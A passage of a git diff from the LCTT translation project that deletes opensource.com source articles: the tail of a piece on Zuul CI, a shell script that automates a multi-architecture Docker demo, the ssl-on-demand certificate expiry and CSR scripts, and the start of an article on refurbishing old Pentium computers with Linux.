so the same playbooks could be used for both simulating and performing complex production deployments. An ever-expanding ecosystem of third-party modules filled in any gaps, in much the same way as the Jenkins community's plugins had before. - -A new Zuul executor service filled the prior role of the Jenkins master: it acted on pending requests in the scheduler's geard, dispatched them via Ansible to ephemeral servers managed by Nodepool, then collected results and artifacts for publication. It also exposed in-progress build output over the classic [RFC 742 Name/Finger protocol][14], streamed in real time from an extension of Ansible's command output module. Once it was no longer necessary to limit jobs to what Jenkins' parser could comprehend, Zuul was free to grow new features like distributed in-repository job definitions, shareable between projects with inheritance and secure handling of secrets, as well as the ability to test-drive proposed changes for the jobs themselves. Jenkins served its purpose admirably, but at least for Zuul, its usefulness was finally at an end. - -### Testing the future - -Zuul's community likes to say that it "tests the future" through its novel application of speculative execution. Gone are the harrowing days of wondering whether the improvement you want to make to an existing job will render it non-functional once it's applied in production. Overloaded review teams for a massive central job repository are a thing of the past. Jobs are treated as a part of the software and shipped right alongside the rest of the source code, taking advantage of Zuul's other features like cross-repository dependencies so that your change to part of a job in one project can be exercised with a proposed job change in another project. It will even comment on your job changes, highlighting specific lines with syntax problems as if it were another code reviewer giving you advice. - -These were features Zuul only dreamed of before, but which required freedom from Jenkins so that it could take job parsing into its own hands. This is the future of CI, and Zuul's users are living it. - -As of early 2019, the OpenStack Foundation recognized Zuul as an independent, openly governed project with its own identity and flourishing community. If you're into open source CI, consider taking a look. Development on the next evolution of Zuul is always underway, and you're welcome to help. Find out more on [Zuul's website][7]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/zuul - -作者:[Jeremy Stanley][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/fungi -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/plumbing_pipes_tutorial_how_behind_scenes.png?itok=F2Z8OJV1 (Plumbing tubes in many directions) -[2]: https://jenkins.io/ -[3]: https://www.openstack.org/ -[4]: https://en.wikipedia.org/wiki/Drizzle_(database_server) -[5]: https://www.gerritcodereview.com/ -[6]: http://eavesdrop.openstack.org/irclogs/%23openstack-meeting/%23openstack-meeting.2012-05-22.log.html#t2012-05-22T19:42:27 -[7]: https://zuul-ci.org/ -[8]: https://jenkins-job-builder.readthedocs.io/ -[9]: https://zuul-ci.org/docs/nodepool/ -[10]: http://gearman.org/ -[11]: https://docs.opendev.org/opendev/gear/#server-example -[12]: https://github.com/statsd/statsd -[13]: https://www.ansible.com/ -[14]: https://tools.ietf.org/html/rfc742 diff --git a/sources/tech/20200211 Automate your live demos with this shell script.md b/sources/tech/20200211 Automate your live demos with this shell script.md deleted file mode 100644 index 56b8626148..0000000000 --- a/sources/tech/20200211 Automate your live demos with this shell script.md +++ /dev/null @@ -1,210 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Automate your live demos with this shell script) -[#]: via: (https://opensource.com/article/20/2/live-demo-script) -[#]: author: (Lisa Seelye https://opensource.com/users/lisa) - -Automate your live demos with this shell script -====== -Try this script the next time you give a presentation to prevent making -typos in front of a live audience. -![Person using a laptop][1] - -I gave a talk about [multi-architecture container images][2] at [LISA19][3] in October that included a lengthy live demo. Rather than writing out 30+ commands and risking typos, I decided to automate the demo with a shell script. - -The script mimics what appears as input/output and runs the real commands in the background, pausing at various points so I can narrate what is going on. I'm very pleased with how the script turned out and the effect on stage. The script and supporting materials for my presentation are available on [GitHub][4] under an Apache 2.0 license. - -### The script - - -``` -#!/bin/bash - -set -e - -IMG=thedoh/lisa19 -REGISTRY=docker.io -VERSION=19.10.1 - -# Plan B with GCR: -#IMG=dulcet-iterator-213018 -#REGISTRY=us.gcr.io -#VERSION=19.10.1 - -pause() { -  local step="${1}" -  ps1 -  echo -n "# Next step: ${step}" -  read -} - -ps1() { -  echo -ne "\033[01;32m${USER}@$(hostname -s) \033[01;34m$(basename $(pwd)) \$ \033[00m" -} - -echocmd() { -  echo "$(ps1)$@" -} - -docmd() { -  echocmd $@ -  $@ -} - -step0() { -  local registry="${1}" img="${2}" version="${3}" -  # Mindful of tokens in ~/.docker/config.json -  docmd grep experimental ~/.docker/config.json -  -  docmd cd ~/go/src/github.com/lisa/lisa19-containers -  -  pause "This is what we'll be building" -  docmd export REGISTRY=${registry} -  docmd export IMG=${img} -  docmd export VERSION=${version} -  docmd make REGISTRY=${registry} IMG=${img} VERSION=${version} clean -} - -step1() { -  local registry="${1}" img="${2}" version="${3}" -  -  docmd docker build --no-cache --platform=linux/amd64 --build-arg=GOARCH=amd64 -t ${REGISTRY}/${IMG}:amd64-${VERSION} . -  pause "ARM64 image next" -  docmd docker build --no-cache --platform=linux/arm64 --build-arg=GOARCH=arm64 -t ${REGISTRY}/${IMG}:arm64-${VERSION} . -} - -step2() { -  local registry="${1}" img="${2}" version="${3}" origpwd=$(pwd) savedir=$(mktemp -d) jsontemp=$(mktemp -t XXXXX) -  chmod 700 $jsontemp $savedir -  # Set our way back home and get ready to fix our arm64 image to amd64. -  echocmd 'origpwd=$(pwd)' -  echocmd 'savedir=$(mktemp -d)' -  echocmd "mkdir -p \$savedir/change" -  mkdir -p $savedir/change &>/dev/null -  echocmd "docker save ${REGISTRY}/${IMG}:arm64-${VERSION} 2>/dev/null 1> \$savedir/image.tar" -  docker save ${REGISTRY}/${IMG}:arm64-${VERSION} 2>/dev/null 1> $savedir/image.tar -  pause "untar the image to access its metadata" -  -  echocmd "cd \$savedir/change" -  cd $savedir/change -  echocmd tar xf \$savedir/image.tar -  tar xf $savedir/image.tar -  docmd ls -l -  -  pause "find the JSON config file" -  echocmd 'jsonfile=$(jq -r ".[0].Config" manifest.json)' -  jsonfile=$(jq -r ".[0].Config" manifest.json) -  -  pause "notice the original metadata says amd64" -  echocmd jq '{architecture: .architecture, ID: .config.Image}' \$jsonfile -  jq '{architecture: .architecture, ID: .config.Image}' $jsonfile -  -  pause "Change from amd64 to arm64 using a temp file" -  echocmd "jq '.architecture = \"arm64\"' \$jsonfile > \$jsontemp" -  jq '.architecture = "arm64"' $jsonfile > $jsontemp -  echocmd /bin/mv -f -- \$jsontemp \$jsonfile -  /bin/mv -f -- $jsontemp $jsonfile - -  pause "Check to make sure the config JSON file says arm64 now" -  echocmd jq '{architecture: .architecture, ID: .config.Image}' \$jsonfile -  jq '{architecture: .architecture, ID: .config.Image}' $jsonfile -  -  pause "delete the image with the incorrect metadata" -  docmd docker rmi ${REGISTRY}/${IMG}:arm64-${VERSION} -  -  pause "Re-compress the ARM64 image and load it back into Docker, then clean up the temp space" -  echocmd 'tar cf - * | docker load' -  tar cf - * | docker load - -  docmd cd $origpwd -  echocmd "/bin/rm -rf -- \$savedir" -  /bin/rm -rf -- $savedir &>/dev/null -} - -step3() { -  local registry="${1}" img="${2}" version="${3}" -  docmd docker push ${registry}/${img}:amd64-${version} -  pause "push ARM64 image to ${registry}" -  docmd docker push ${registry}/${img}:arm64-${version} -} - -step4() { -  local registry="${1}" img="${2}" version="${3}" -  docmd docker manifest create ${registry}/${img}:${version} ${registry}/${img}:arm64-${version} ${registry}/${img}:amd64-${version} -  -  pause "add a reference to the amd64 image to the manifest list" -  docmd docker manifest annotate ${registry}/${img}:${version} ${registry}/${img}:amd64-${version} --os linux --arch amd64 -  pause "now add arm64" -  docmd docker manifest annotate ${registry}/${img}:${version} ${registry}/${img}:arm64-${version} --os linux --arch arm64 -} - -step5() { -  local registry="${1}" img="${2}" version="${3}" -  docmd docker manifest push ${registry}/${img}:${version} -} - -step6() { -  local registry="${1}" img="${2}" version="${3}" -  docmd make REGISTRY=${registry} IMG=${img} VERSION=${version} clean -  -  pause "ask docker.io if ${img}:${version} has a linux/amd64 manifest, and run it" -  docmd docker pull --platform linux/amd64 ${registry}/${img}:${version} -  docmd docker run --rm -i ${registry}/${img}:${version} -  -  pause "clean slate again" -  docmd make REGISTRY=${registry} IMG=${img} VERSION=${version} clean -  -  pause "now repeat for linux/arm64 and see what it gives us" -  docmd docker pull --platform linux/arm64 ${registry}/${img}:${version} -  set +e -  docmd docker run --rm -i ${registry}/${img}:${version} -  set -e -  if [[ $(uname -s) == "Darwin" ]]; then -    pause "note about Docker on Mac and binfmt_misc: binfmt_misc lets a mac run arm64 binaries in the Docker VM" -  fi -} - -pause "initial setup" -step0 ${REGISTRY} ${IMG} ${VERSION} -pause "1 build constituent images" -step1 ${REGISTRY} ${IMG} ${VERSION} - -pause "2 fix ARM64 metadata" -step2 ${REGISTRY} ${IMG} ${VERSION} - -pause "3 push constituent images up to docker.io" -step3 ${REGISTRY} ${IMG} ${VERSION} - -pause "4 build the manifest list for the image" -step4 ${REGISTRY} ${IMG} ${VERSION} - -pause "5 Push the manifest list to docker.io" -step5 ${REGISTRY} ${IMG} ${VERSION} - -pause "6 clean slate, and validate the list-based image" -step6 ${REGISTRY} ${IMG} ${VERSION} - -docmd echo 'Manual steps all done!' -make REGISTRY=${REGISTRY} IMG=${IMG} VERSION=${VERSION} clean &>/dev/null -``` - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/live-demo-script - -作者:[Lisa Seelye][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/lisa -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) -[2]: https://www.usenix.org/conference/lisa19/presentation/seelye -[3]: https://www.usenix.org/conference/lisa19 -[4]: https://github.com/lisa/lisa19-containers diff --git a/sources/tech/20200212 Manage your SSL certificates with the ssl-on-demand script.md b/sources/tech/20200212 Manage your SSL certificates with the ssl-on-demand script.md deleted file mode 100644 index e4be89e4f5..0000000000 --- a/sources/tech/20200212 Manage your SSL certificates with the ssl-on-demand script.md +++ /dev/null @@ -1,685 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Manage your SSL certificates with the ssl-on-demand script) -[#]: via: (https://opensource.com/article/20/2/ssl-demand) -[#]: author: (Abhishek Tamrakar https://opensource.com/users/tamrakar) - -Manage your SSL certificates with the ssl-on-demand script -====== -Keep track of certificate expirations to prevent problems with the -ssl-on-demand script. -![Lock][1] - -It happens all the time, to the largest of companies. An important certificate doesn't get renewed, and services become inaccessible. It happened to Microsoft Teams in early February 2020, awkwardly timed just after the launch of a major television campaign promoting it as a [Slack competitor][2]. Embarrassing as that may be, it's sure to happen to someone else in the future. - -On the modern web, expired [certificates][3] can create major problems for websites, ranging from unhappy users who can't connect to a site to security threats from bad actors who take advantage of the failure to renew a certificate. - -[Ssl-on-demand][4] is a set of SSL scripts to help site owners manage certificates. It is used for on-demand certificate generation and validation and it can create certificate signing requests ([CSRs][5]) and predict the expiration of existing certificates. - -### Automate SSL expiry checks - - -``` - USAGE: SSLexpiryPredictions.sh -[cdewh] - -  DESCRIPTION: This script predicts the expiring SSL certificates based on the end date. - -  OPTIONS: - -  -c|   sets the value for configuration file which has server:port or host:port details. -        -  -d|   sets the value of directory containing the certificate files in crt or pem format. - -  -e|   sets the value of certificate extention, e.g crt, pem, cert. -        crt: default [to be used with -d, if certificate file extention is other than .crt] - -  -w|   sets the value for writing the script output to a file. - -  -h|   prints this help and exit. -``` - -**Examples:** - -To create a file with a list of all servers and their port numbers to make an SSL handshake, use: - - -``` -cat > servers.list -         server1:port1 -         server2:port2 -         server3:port3 -        (ctrl+d) -        -$ ./SSLexpiryPredictions.sh -c server.list -``` - -Run the script by providing the certificate location and extension (in case it is not .crt): - - -``` -`$ ./SSLexpiryPredictions.sh -d /path/to/certificates/dir -e pem` -``` - -### Automate CSR and private key creation - - -``` -Usage:  genSSLcsr.sh [options] -[cdmshx] -  [-c (common name)] -  [-d (domain name)] -  [-s (SSL certificate subject)] -  [-p (password)] -  [-m (email address)] *(Experimental) -  [-r (remove pasphrase) default:true] -  [-h (help)] -  [-x (optional)] - -[OPTIONS] -  -c|   Sets the value for common name. -        A valid common name is something that ends with 'xyz.com' - -  -d|   Sets the domain name. - -  -s|   Sets the subject to be applied to the certificates. -        '/C=country/ST=state/L=locality/O=organization/OU=organizationalunit/emailAddress=email' - -  -p|   Sets the password for private key. - -  -r|   Sets the value of remove passphrase. -        true:[default] passphrase will be removed from key. -        false: passphrase will not be removed and key wont get printed. - -  -m|   Sets the mailing capability to the script. -        (Experimental at this time and requires a lot of work) - -  -x|   Creates the certificate request and key but do not print on screen. -        To be used when script is used just to create the key and CSR with no need -        + to generate the certficate on the go. - -  -h|   Displays the usage. No further functions are performed. - -  Example: genSSLcsr.sh -c mywebsite.xyz.com -m [myemail@mydomain.com][6] -``` - -### The scripts - -#### 1. SSLexpiryPredictions.sh - - -``` -#!/bin/bash -############################################## -# -#       PURPOSE: The script to predict expiring SSL certificates. -# -#       AUTHOR: 'Abhishek.Tamrakar' -# -#       VERSION: 0.0.1 -# -#       COMPANY: Self -# -#       EMAIL: [abhishek.tamrakar08@gmail.com][7] -# -#       GENERATED: on 2018-05-20 -# -#       LICENSE: Copyright (C) 2018 Abhishek Tamrakar -# -#  Licensed under the Apache License, Version 2.0 (the "License"); -#  you may not use this file except in compliance with the License. -#  You may obtain a copy of the License at -# -#       -# -#   Unless required by applicable law or agreed to in writing, software -#   distributed under the License is distributed on an "AS IS" BASIS, -#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -#   See the License for the specific language governing permissions and -#   limitations under the License. -############################################## - -#your Variables go here -script=${0##/} -exitcode='' -WRITEFILE=0 -CONFIG=0 -DIR=0 -# functions here -usage() -{ -cat <<EOF - -  USAGE: $script -[cdewh]" - -  DESCRIPTION: This script predicts the expiring SSL certificates based on the end date. - -  OPTIONS: - -  -c|   sets the value for configuration file which has server:port or host:port details. - -  -d|   sets the value of directory containing the certificate files in crt or pem format. - -  -e|   sets the value of certificate extention, e.g crt, pem, cert. -        crt: default - -  -w|   sets the value for writing the script output to a file. - -  -h|   prints this help and exit. - -EOF -exit 1 -} -# print info messages -info() -{ -  printf '\n%s: %6s\n' "INFO" "$@" -} -# print error messages -error() -{ -  printf '\n%s: %6s\n' "ERROR" "$@" -  exit 1 -} -# print warning messages -warn() -{ -  printf '\n%s: %6s\n' "WARN" "$@" -} -# get expiry for the certificates -getExpiry() -{ -  local expdate=$1 -  local certname=$2 -  today=$(date +%s) -  timetoexpire=$(( ($expdate - $today)/(60*60*24) )) - -  expcerts=( ${expcerts[@]} "${certname}:$timetoexpire" ) -} - -# print all expiry that was found, typically if there is any. -printExpiry() -{ -  local args=$# -  i=0 -  if [[ $args -ne 0 ]]; then -    #statements -    printf '%s\n' "---------------------------------------------" -    printf '%s\n' "List of expiring SSL certificates" -    printf '%s\n' "---------------------------------------------" -    printf '%s\n' "$@"  | \ -      sort -t':' -g -k2 | \ -      column -s: -t     | \ -      awk '{printf "%d.\t%s\n", NR, $0}' -    printf '%s\n' "---------------------------------------------" -  fi -} - -# calculate the end date for the certificates first, finally to compare and predict when they are going to expire. -calcEndDate() -{ -  sslcmd=$(which openssl) -  if [[ x$sslcmd = x ]]; then -    #statements -    error "$sslcmd command not found!" -  fi -  # when cert dir is given -  if [[ $DIR -eq 1 ]]; then -    #statements -    checkcertexists=$(ls -A $TARGETDIR| egrep "*.$EXT$") -    if [[ -z ${checkcertexists} ]]; then -      #statements -      error "no certificate files at $TARGETDIR with extention $EXT" -    fi -    for file in $TARGETDIR/*.${EXT:-crt} -    do -      expdate=$($sslcmd x509 -in $file -noout -enddate) -      expepoch=$(date -d "${expdate##*=}" +%s) -      certificatename=${file##*/} -      getExpiry $expepoch ${certificatename%.*} -    done -  elif [[ $CONFIG -eq 1 ]]; then -    #statements -    while read line -    do -      if echo "$line" | \ -      egrep -q '^[a-zA-Z0-9.]+:[0-9]+|^[a-zA-Z0-9]+_.*:[0-9]+'; -      then -        expdate=$(echo | \ -        openssl s_client -connect $line 2>/dev/null | \ -        openssl x509 -noout -enddate 2>/dev/null); -        if [[ $expdate = '' ]]; then -          #statements -          warn "[error:0906D06C] Cannot fetch certificates for $line" -        else -          expepoch=$(date -d "${expdate##*=}" +%s); -          certificatename=${line%:*}; -          getExpiry $expepoch ${certificatename}; -        fi -      else -        warn "[format error] $line is not in required format!" -      fi -    done < $CONFIGFILE -  fi -} -# your script goes here -while getopts ":c:d:w:e:h" options -do -case $options in -c ) -  CONFIG=1 -  CONFIGFILE="$OPTARG" -  if [[ ! -e $CONFIGFILE ]] || [[ ! -s $CONFIGFILE ]]; then -    #statements -    error "$CONFIGFILE does not exist or empty!" -  fi -        ;; -e ) -  EXT="$OPTARG" -  case $EXT in -    crt|pem|cert ) -    info "Extention check complete." -    ;; -    * ) -    error "invalid certificate extention $EXT!" -    ;; -  esac -  ;; -d ) -  DIR=1 -  TARGETDIR="$OPTARG" -  [ $TARGETDIR = '' ] && error "$TARGETDIR empty variable!" -  ;; -w ) -  WRITEFILE=1 -  OUTFILE="$OPTARG" -  ;; -h ) -        usage -        ;; -\? ) -        usage -        ;; -: ) -        fatal "Argument required !!! see \'-h\' for help" -        ;; -esac -done -shift $(($OPTIND - 1)) -# -calcEndDate -#finally print the list -if [[ $WRITEFILE -eq 0 ]]; then -  #statements -  printExpiry ${expcerts[@]} -else -  printExpiry ${expcerts[@]} > $OUTFILE -fi -``` - -#### 2. genSSLcsr.sh - - -``` -#!/bin/bash - -#=============================================================================== -# -#          FILE: genSSLcsr.sh -# -#         USAGE: ./genSSLcsr.sh [options] -# -#   DESCRIPTION: ++++version 1.0.2 -#               Fixed few bugs from previous script -#               +Removing passphrase after CSR generation -#               Extended use of functions -#               Checks for valid common name -#               ++++1.0.3 -#               Fixed line breaks -#               Work directory to be created at the start -#               Used getopts for better code arrangements -#   ++++1.0.4 -#     Added mail feature (experimental at this time and needs -#     a mail server running locally.) -#     Added domain input and certificate subject inputs -# -#       OPTIONS: --- -#  REQUIREMENTS: openssl, mailx -#          BUGS: --- -#         NOTES: --- -#        AUTHOR: Abhishek Tamrakar (), [abhishek.tamrakar08@gmail.com][7] -#  ORGANIZATION: Self -#       CREATED: 6/24/2016 -#      REVISION: 4 -# COPYRIGHT AND -#       LICENSE: Copyright (C) 2016 Abhishek Tamrakar -# -#  Licensed under the Apache License, Version 2.0 (the "License"); -#  you may not use this file except in compliance with the License. -#  You may obtain a copy of the License at -# -#       -# -#   Unless required by applicable law or agreed to in writing, software -#   distributed under the License is distributed on an "AS IS" BASIS, -#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -#   See the License for the specific language governing permissions and -#   limitations under the License. -#=============================================================================== - -#variables ges here -#set basename to scriptname -SCRIPT=${0##*/} - -#set flags -TFOUND=0 -CFOUND=0 -MFOUND=0 -XFOUND=0 -SFOUND=0 -logdir=/var/log -# edit these below values to replace with yours -homedir='' -yourdomain='' -country=IN -state=Maharashtra -locality=Pune -organization="your_organization" -organizationalunit="your_organizational_unit" -email=your_email@your_domain -password=your_ssl_password -# OS is declared and will be used in its next version -OS=$(egrep -io 'Redhat|centos|fedora|ubuntu' /etc/issue) - -### function declarations ### - -info() -{ -  printf '\n%s\t%s\t' "INFO" "$@" -} - -#exit on error with a custom error message -#the extra function was removed and replaced withonly one. -#using FAILED\n\e<message> is a way but not necessarily required. -# - -fatal() -{ - printf '\n%s\t%s\n' "ERROR" "$@" - exit 1 -} - -checkperms() -{ -if [[ -z ${homedir} ]]; then -homedir=$(pwd) -fi -if [[ -w ${homedir} ]]; then -info "Permissions acquired for ${SCRIPT} on ${homedir}." -else -fatal "InSufficient permissions to run the ${SCRIPT}." -fi -} - -checkDomain() -{ -info "Initializing Domain ${cn} check ? " -if [[ ! -z ${yourdomain} ]]; then -workdir=${homedir}/${yourdomain} -echo -e "${cn}"|grep -E -i -q "${yourdomain}$" && echo -n "[OK]" || fatal "InValid domain in ${cn}" -else -workdir=${homedir}/${cn#*.} -echo -n "[NULL]" -info "WARNING: No domain declared to check." -confirmUserAction -fi -}       # end function checkDomain - -usage() -{ -cat << EOF - -Usage:  $SCRIPT [options] -[cdmshx] -  [-c (common name)] -  [-d (domain name)] -  [-s (SSL certificate subject)] -  [-p (password)] -  [-m (email address)] *(Experimental) -  [-r (remove pasphrase) default:true] -  [-h (help)] -  [-x (optional)] - -[OPTIONS] -  -c|   Sets the value for common name. -        A valid common name is something that ends with 'xyz.com' - -  -d|   Sets the domain name. - -  -s|   Sets the subject to be applied to the certificates. -        '/C=country/ST=state/L=locality/O=organization/OU=organizationalunit/emailAddress=email' - -  -p|   Sets the password for private key. - -  -r|   Sets the value of remove passphrase. -        true:[default] passphrase will be removed from key. -        false: passphrase will not be removed and key wont get printed. - -  -m|   Sets the mailing capability to the script. -        (Experimental at this time and requires a lot of work) - -  -x|   Creates the certificate request and key but do not print on screen. -        To be used when script is used just to create the key and CSR with no need -        + to generate the certficate on the go. - -  -h|   Displays the usage. No further functions are performed. - -  Example: $SCRIPT -c mywebsite.xyz.com -m [myemail@mydomain.com][6] - -EOF -exit 1 -}       # end usage - -confirmUserAction() { -while true; do -read -p "Do you wish to continue? ans: " yn -case $yn in -[Yy]* ) info "Initiating the process"; -break;; -[Nn]* ) exit 1;; -* ) info "Please answer yes or no.";; -esac -done -}       # end function confirmUserAction - -parseSubject() -{ -  local subject="$1" -  parsedsubject=$(echo $subject|sed 's/\// /g;s/^ //g') -  for i in ${parsedsubject}; do -      case ${i%=*} in -        'C' ) -        country=${i##*=} -        ;; -        'ST' ) -        state=${i##*=} -        ;; -        'L' ) -        locality=${i##*=} -        ;; -        'O' ) -        organization=${i##*=} -        ;; -        'OU' ) -        organizationalunit=${i##*=} -        ;; -        'emailAddress' ) -        email=${i##*=} -      ;; -    esac -  done -} - -sendMail() -{ - mailcmd=$(which mailx) - if [[ x"$mailcmd" = "x" ]]; then -   fatal "Cannot send email! please install mailutils for linux" - else -   echo "SSL CSR attached." | $mailcmd -s "SSL certificate request" \ -   -t $email $ccemail -A ${workdir}/${cn}.csr \ -   && info "mail sent" \ -   || fatal "error in sending mail." - fi -} - -genCSRfile() -{ -info "Creating signed key request for ${cn}" -#Generate a key -openssl genrsa -des3 -passout pass:$password -out ${workdir}/${cn}.key 4096 -noout 2>/dev/null && echo -n "[DONE]" || fatal "unable to generate key" - -#Create the request -info "Creating Certificate request for ${cn}" -openssl req -new -key ${workdir}/${cn}.key -passin pass:$password -sha1 -nodes \ -        -subj "/C=$country/ST=$state/L=$locality/O=$organization/OU=$organizationalunit/CN=$cn/emailAddress=$email" \ -        -out ${workdir}/${cn}.csr && echo -n "[DONE]" || fatal "unable to create request" - -if [[ "${REMOVEPASSPHRASE:-true}" = 'true' ]]; then -  #statements -  #Remove passphrase from the key. Comment the line out to keep the passphrase -  info "Removing passphrase from ${cn}.key" -  openssl rsa -in ${workdir}/${cn}.key \ -  -passin pass:$password \ -  -out ${workdir}/${cn}.insecure 2>/dev/null \ -  && echo -n "[DONE]" || fatal "unable to remove passphrase" -  #swap the filenames -  info "Swapping the ${cn}.key to secure" -  mv ${workdir}/${cn}.key ${workdir}/${cn}.secure \ -  && echo -n "[DONE]" || fatal "unable to perfom move" -  info "Swapping insecure key to ${cn}.key" -  mv ${workdir}/${cn}.insecure ${workdir}/${cn}.key \ -  && echo -n "[DONE]" || fatal "unable to perform move" -else -  info "Flag '-r' is set, passphrase will not be removed." -fi -} - -printCSR() -{ -if [[ -e ${workdir}/${cn}.csr ]] && [[ -e ${workdir}/${cn}.key ]] -then -echo -e "\n\n----------------------------CSR-----------------------------" -cat ${workdir}/${cn}.csr -echo -e "\n----------------------------KEY-----------------------------" -cat ${workdir}/${cn}.key -echo -e "------------------------------------------------------------\n" -else -fatal "CSR or KEY generation failed !!" -fi -} - -### END Functions ### - -#Check the number of arguments. If none are passed, print help and exit. -NUMARGS=$# -if [ $NUMARGS -eq 0 ]; then -fatal "$NUMARGS Arguments provided !!!! See usage with '-h'" -fi - -#Organisational details - -while getopts ":c:d:sⓂ️p:rhx" atype -do -case $atype in -c ) -        CFOUND=1 -        cn="$OPTARG" -        ;; -d ) -  yourdomain="$OPTARG" -  ;; -s ) -  SFOUND=1 -  subj="$OPTARG" -  ;; -p ) -  password="$OPTARG" -  ;; -r ) -  REMOVEPASSPHRASE='false' -  ;; -m ) -  MFOUND=1 -  ccemail="$OPTARG" -  ;; -x ) -        XFOUND=1 -  ;; -h ) -        usage -        ;; -\? ) -        usage -        ;; -: ) -        fatal "Argument required !!! see \'-h\' for help" -        ;; -esac -done -shift $(($OPTIND - 1)) - -#### END CASE #### START MAIN #### - -if [ $CFOUND -eq 1 ] -then -# take current dir as homedir by default. -checkperms ${homedir} -checkDomain - -  if [[ ! -d ${workdir} ]] -  then -    mkdir ${workdir:-${cn#*.}} 2>/dev/null && info "${workdir} created." -  else -    info "${workdir} exists." -  fi # end workdir check -  parseSubject "$subj" -  genCSRfile -  if [ $XFOUND -eq 0 ] -  then -    sleep 2 -    printCSR -  fi    # end x check -  if [[ $MFOUND -eq 1 ]]; then -    sendMail -  fi -else -        fatal "Nothing to do!" -fi      # end common name check - -##### END MAIN ##### -``` - -* * * - -_This was originally published as the README in [ssl-on-demand's GitHub repository][4] and is reused with permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/2/ssl-demand - -作者:[Abhishek Tamrakar][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/tamrakar -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/security-lock-password.jpg?itok=KJMdkKum (Lock) -[2]: https://opensource.com/alternatives/slack -[3]: https://opensource.com/article/19/1/what-certificate -[4]: https://github.com/abhiTamrakar/ssl-on-demand -[5]: https://en.wikipedia.org/wiki/Certificate_signing_request -[6]: mailto:myemail@mydomain.com -[7]: mailto:abhishek.tamrakar08@gmail.com diff --git a/sources/tech/20200214 How to restore a single-core computer with Linux.md b/sources/tech/20200214 How to restore a single-core computer with Linux.md deleted file mode 100644 index a88a2c157d..0000000000 --- a/sources/tech/20200214 How to restore a single-core computer with Linux.md +++ /dev/null @@ -1,270 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to restore a single-core computer with Linux) -[#]: via: (https://opensource.com/article/20/2/restore-old-computer-linux) -[#]: author: (Howard Fosdick https://opensource.com/users/howtech) - -How to restore a single-core computer with Linux -====== -Let's have some geeky fun refurbishing your prehistoric Pentium with -Linux and open source. -![Two animated computers waving one missing an arm][1] - -In a [previous article][2], I explained how I refurbish old dual-core computers ranging from roughly five to 15 years old. Properly restored, these machines can host a fully capable lightweight Linux distribution like [Mint/Xfce][3], [Xubuntu][4], or [Lubuntu][5] and perform everyday tasks. But what if you have a really old computer gathering dust in your attic or basement? Like a Pentium 4 desktop or Pentium M laptop? Yikes! Can you even do anything with a relic like that? - -### Why restore a relic? - -For starters, you might learn a bit about hardware and open source software by refurbishing it. And you could have some fun along the way. Whether you can make much use of it depends on your expectations. - -A single-core computer can perform well for a specific purpose. For example, my friend created a dandy retro gaming box (like I describe below) that runs hundreds of Linux and old Windows and DOS games. His kids love it! - -Another friend uses his Pentium 4 for running design spreadsheets in his workshop. He finds it convenient to have a dedicated machine tucked into a corner of his shop. He likes that he doesn't have to worry about heat or dust ruining an expensive modern computer. - -My romance author acquaintance employs her Pentium M as a "novelist's workstation" lodged in her cozy attic hideaway. The laptop functions as her private word processor. - -I've used old computers to teach beginners how to build and repair hardware. Old equipment makes the best testbed because it's expendable. If someone makes a mistake and fries a board, it doesn't much matter. (Contrast this to how you would feel if you wrecked your main computer!) - -The web suggests many [other potential uses][6] for old Pentiums: security cam monitors, network-attached storage (NAS) servers, [SETI][7] boxes, torrent servers, anonymous [Tails][8] servers, Bitcoin miners, programming workstations, thin clients, terminal emulators, routers, file servers, and more. To me, many of these applications sound more like fun projects than practical uses for single-core computers. That doesn't mean they aren't worth your while; it's just that you want to be clear-eyed about any project you take on. - -By current standards, P-4s and Ms are terribly [weak processors][9]. For example, using them for web surfing is problematic because webpage size and programming complexity have [grown exponentially][10]. And the open web is closing—increasingly, sites won't allow you access unless you let them run all those ads that can overwhelm old processors. (I'll discuss web surfing performance tricks later in this article.) Another shortcoming of old computers is their energy consumption. Better electricity-to-performance ratios often make newer computers more sensible. This especially true when a [tablet or smartphone][11] can fulfill your needs. - -Nevertheless, you can still have fun and learn a lot by tinkering with an old P-4 or M. They're great educational tools, they're expendable, and they can be useful in dedicated roles. Best of all, you can get them for free. I'll tell you how. - -Still reading? Okay, let's have some geeky fun refurbishing your prehistoric Pentium. - -### Understand hardware evolution - -As a quick level-set, here are the common names for the P-4 and M class processors and their rough dates of manufacture: - -**Desktops (2000-2008)** - - * Pentium 4 - * Pentium 4 HT (Hyper-Threading) - * Pentium 4 EE (Extreme Edition) - - - -**Desktops (2005-2008)** - - * Pentium D (early dual-core) - - - -**Mobile (2002-2008)** - - * Pentium M - * Pentium 4-M - * Mobile Pentium 4 - * Mobile Pentium 4 